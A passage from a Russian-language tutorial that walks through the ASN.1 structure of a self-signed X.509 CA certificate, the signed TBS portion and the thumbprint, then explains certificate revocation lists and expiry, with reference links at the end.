				SEQUENCE(2 elem)
					OBJECT IDENTIFIER 2.5.4.3
					UTF8String CA
		SEQUENCE(2 elem)
			UTCTime 13-09-15 15:35:02 UTC
			GeneralizedTime 2113-09-22 15:35:02 UTC
		SEQUENCE(1 elem)
			SET(1 elem)
				SEQUENCE(2 elem)
					OBJECT IDENTIFIER 2.5.4.3
					UTF8String CA
		SEQUENCE(2 elem)
			SEQUENCE(2 elem)
				OBJECT IDENTIFIER 1.2.840.113549.1.1.1
				NULL
			BIT STRING(1 elem)
				SEQUENCE(2 elem)
					INTEGER 00: 8D 80 B5 8E 80 8E 94 D1 04 03 6A 45 1A 54 5E 7E
						        EE 6D 0C CB 0B 82 03 F1 7D C9 6F ED 52 02 B2 08
						        C3 48 D1 24 70 C3 50 C2 1C 40 BC B5 9D F8 E8 A8
						        41 16 7B 0B 34 1F 27 8D 32 2D 38 BA 18 A5 31 A9
						        E3 15 20 3D E4 0A DC D8 CD 42 B0 E3 66 53 85 21
						        7C 90 13 E9 F9 C9 26 5A F3 FF 8C A8 92 25 CD 23
						        08 69 F4 A2 F8 7B BF CD 45 E8 19 33 F1 AA E0 2B
						        92 31 22 34 60 27 2E D7 56 04 8B 1B 59 64 77 5F
					INTEGER 65537
		SEQUENCE(2 elem)
			OBJECT IDENTIFIER 1.2.840.113549.1.1.5
			NULL
	BIT STRING 00: 0A 1C ED 77 F4 79 D5 EC 73 51 32 25 09 61 F7 00
		           C4 64 74 29 86 5B 67 F2 3D A9 39 34 6B 3C A9 92
		           B8 BF 07 13 0B A0 9B DF 41 E2 8A F6 D3 17 53 E1
		           BA 7F C0 D0 BC 10 B7 9B 63 4F 06 D0 7B AC C6 FB
		           CE 95 F7 8A 72 AA 10 EA B0 D1 6D 74 69 5E 20 68
		           5D 1A 66 28 C5 59 33 43 DB EE DA 00 80 99 5E DD
		           17 AC 43 36 1E D0 5B 06 0F 8C 6C 82 D3 BB 3E 2B
		           A5 F1 94 FB 53 7B B0 54 22 6F F6 4C 18 1B 72 1C

Это уже более похоже на то, что мы видим при открытии сертификатов в браузере или Windows. Пробежимся по каждому элементу:

  • INTEGER 2 — целое число, описывающее версию сертификата. Для сертификатов версии 1 равно 0.
  • INTEGER 1 — серийный номер нашего сертификата.
  • OBJECT IDENTIFIER 1.2.840.113549.1.1.5 — последовательность, описывающая алгоритм цифровой подписи. Данная последовательность описывает sha1WithRSAEncryption.
  • OBJECT IDENTIFIER 2.5.4.3 — служит индикатором того, что следующее поле описывает какое либо сведение об издателе. Последовательность 2.5.4.3, описывается свойство CN(common name) — общепринятое имя.
  • UTF8String CA — имя издателя.
  • UTCTime 13-09-15 15:35:02 UTC — дата начала действия сертификата.
  • GeneralizedTime 2113-09-22 15:35:02 UTC — дата окончания действия сертификата.
  • OBJECT IDENTIFIER 2.5.4.3 — описывает тип информации о владельце.
  • UTF8String CA — имя владельца.
  • OBJECT IDENTIFIER 1.2.840.113549.1.1.1 — характеризует алгоритм ключа, в данном случае rsaEncryption.
  • INTEGER 00: — открытый ключ сертификата.
  • BIT STRING 00: — подпись сертификата.

Важным моментом, о котором стоит особенно упомянуть являются данные, для которых вычисляется подпись. Интуитивно может показаться, что подписываются все данные идущие до последнего поля BIT STRING, содержащего подпись. Но на самом деле это не так. В стандарте x.

	SEQUENCE(7 elem)
		[0](1 elem)
			INTEGER 2
		INTEGER 1
		SEQUENCE(2 elem)
			OBJECT IDENTIFIER 1.2.840.113549.1.1.5
			NULL
		SEQUENCE(1 elem)
			SET(1 elem)
				SEQUENCE(2 elem)
					OBJECT IDENTIFIER 2.5.4.3
					UTF8String CA
		SEQUENCE(2 elem)
			UTCTime 13-09-15 15:35:02 UTC
			GeneralizedTime 2113-09-22 15:35:02 UTC
		SEQUENCE(1 elem)
			SET(1 elem)
				SEQUENCE(2 elem)
					OBJECT IDENTIFIER 2.5.4.3
					UTF8String CA
		SEQUENCE(2 elem)
			SEQUENCE(2 elem)
				OBJECT IDENTIFIER 1.2.840.113549.1.1.1
				NULL
			BIT STRING(1 elem)
				SEQUENCE(2 elem)
					INTEGER 00: 8D 80 B5 8E 80 8E 94 D1 04 03 6A 45 1A 54 5E 7E
						        EE 6D 0C CB 0B 82 03 F1 7D C9 6F ED 52 02 B2 08
						        C3 48 D1 24 70 C3 50 C2 1C 40 BC B5 9D F8 E8 A8
						        41 16 7B 0B 34 1F 27 8D 32 2D 38 BA 18 A5 31 A9
						        E3 15 20 3D E4 0A DC D8 CD 42 B0 E3 66 53 85 21
						        7C 90 13 E9 F9 C9 26 5A F3 FF 8C A8 92 25 CD 23
						        08 69 F4 A2 F8 7B BF CD 45 E8 19 33 F1 AA E0 2B
						        92 31 22 34 60 27 2E D7 56 04 8B 1B 59 64 77 5F
					INTEGER 65537

Т.о. если перед вами будет стоять задача проверить ЭЦП x.509 сертификата, то для этого сперва необходимо извлечь TBS-сертификат.

Еще одно замечание относится к отпечатку сертификата. Как видите сам сертификат не содержит никаких сведений об отпечатке. Это объясняется тем, что отпечаток представляет собой обычное хеш-значение SHA-1 от всего файла сертификата, со всеми его полями, включая подпись издателя. Поэтому хранить отпечаток не обязательно, можно просто вычислять хеш при каждом просмотре сертификата.

Часть 2. сертификат 2-го уровня

Мы с вами рассмотрели внутренности самоподписанного сертификата, и нам осталось понять чем отличается структура сертификатов более низкого уровня, от сертификата корневого центра.

Отзыв сертификата

Существует ряд причин, по которым действие сертификата бывает необходимо
прекратить до окончания его срока действия.

Такими причинами, в частности, могут быть:

  • Компрометация соответствующего закрытого ключа. Если несанкционированный доступ к закрытому ключу все же имел место или
    обнаружена хотя бы возможность такого доступа, закрытый ключ, а также
    парный к нему открытый считаются скомпрометированными. Работать с такими
    ключами нельзя.
  • Замена сертификата (например, в связи с изменением адреса
    электронной почты пользователя).
  • Задержка действия сертификата.

В таких ситуациях удостоверяющий центр отзывает соответствующий
сертификат.

Если владелец ключей считает нужным отзыв имеющегося у него
сертификата, ему необходимо сообщить об этом в удостоверяющий центр.
Особенно это важно при компрометации ключей. Если владельцу ключей
становится известно о факте их компрометации, ему необходимо сообщить о
факте компрометации в удостоверяющий центр как можно скорее.

Удостоверяющий центр отзывает соответствующий сертификат, т.е. заносит
его в так называемый список отзыва сертификатов (CRL — Certificate
Revocation List). Все сертификаты, числящиеся в списке отзыва
сертификатов, недействительны. Список отзыва сертификатов доводится до сведения всех пользователей в соответствии с регламентом удостоверяющего центра.

Владелец отозванного сертификата отправляет в удостоверяющий центр
запрос на новый сертификат. Необходимость создания новых ключей в этом
случае определяется конкретной ситуацией: если старые ключи
скомпрометированы, необходимо создать новые; если речь идет о замене
сертификата вследствие изменения актуальной информации о владельце,
достаточно создать запрос на новый сертификат на имеющиеся ключи.

Для того чтобы быть полностью уверенным в подлинности и корректности
подписи под сообщением, необходимо проверить, не отозван ли сертификат
на ключ, на котором выработана проверяемая подпись, т.е. не включен ли
этот сертификат в список отзыва сертификатов.

Результат такой проверки учитывается при проверке подписи. Т.е. даже
если подпись формально корректна, но сертификат, на котором выработана
подпись, включен в список отзыва сертификатов, то подпись не может считаться корректной.

Конец срока действия сертификата

Каждый сертификат имеет ограниченный срок действия. Конкретный
максимальный срок действия сертификата устанавливается регламентом УЦ,
но обычно он не превышает одного года.

По истечении срока действия сертификат становится недействительным.

По истечении срока действия сертификата удостоверяющего центра
необходимо получить и установить в системе новый.

По истечении срока действия сертификата на открытый ключ пользователя
необходимо сформировать запрос на новый сертификат.

Это может быть запрос на сертификат на уже существующие ключи или на
новые ключи. Можно ли получать новые сертификаты на уже существующие
ключи или необходимо создавать новые ключи после окончания срока
действия сертификата, определяется регламентом удостоверяющего центра.

Заключение

Тех усидчивых людей, которые продрались сквозь все эти ASN.1 выражения и шестнадцатеричные наборы данных, я хотел бы поблагодарить за прочтение. Надеюсь вам было хоть немного интересно. И стало чуточку понятнее, что же такое на самом деле X.509 сертификат.

Ну и как всегда немного ссылок для тех, кому хочется больше подробностей.

  1. RFC5280 — спецификация x.509 сертификата и списка отзывов сертификатов.
  2. Руководство по выживанию — SSL/TLS и сертификаты X.509
  3. ASN.1 простыми словами, вариант статьи для хабра
  4. on-line утилита для декодирования DER-файлов
  5. Первичный стандарт ITU-T X.509 ( русский перевод). Спасибо ystr за ссылку.
Читайте также:  Электронная подпись: ключ для ЕЭТП

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

Adblock
detector